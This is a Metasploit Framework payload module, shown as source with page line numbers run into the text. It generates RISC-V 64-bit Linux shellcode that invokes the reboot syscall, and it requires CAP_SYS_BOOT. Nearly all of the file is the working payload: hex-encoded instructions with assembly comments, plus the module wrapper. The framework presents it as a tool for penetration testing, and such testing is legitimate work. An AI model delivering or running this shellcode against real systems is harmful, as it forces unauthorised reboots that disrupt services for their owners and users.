Path: blob/master/modules/payloads/singles/linux/riscv64le/reboot.rb
32945 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 4078include Msf::Payload::Linux::Riscv64le::Prepends9include Msf::Payload::Single1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Linux Reboot',16'Description' => %q{17A very small shellcode for rebooting the system using18the reboot syscall. This payload is sometimes helpful19for testing purposes. Requires CAP_SYS_BOOT privileges.20},21'Author' => 'bcoles',22'License' => MSF_LICENSE,23'Platform' => 'linux',24'Arch' => ARCH_RISCV64LE,25'References' => [26['URL', 'https://man7.org/linux/man-pages/man2/reboot.2.html'],27['URL', 'https://github.com/bcoles/shellcode/blob/main/riscv64/reboot/reboot.s'],28]29)30)31end3233def generate(_opts = {})34shellcode =35[0x0007f537].pack('V*') + # lui a0,0x7f36[0x70f5051b].pack('V*') + # addiw a0,a0,180737[0x00d51513].pack('V*') + # slli a0,a0,0xd38[0xead50513].pack('V*') + # addi a0,a0,-33939[0x281225b7].pack('V*') + # lui a1,0x2812240[0x9695859b].pack('V*') + # addiw a1,a1,-168741[0x01234637].pack('V*') + # lui a2,0x123442[0x5676061b].pack('V*') + # addiw a2,a2,138343[0x08e00893].pack('V*') + # li a7,14244[0x00000073].pack('V*') # ecall4546super.to_s + shellcode47end48end495051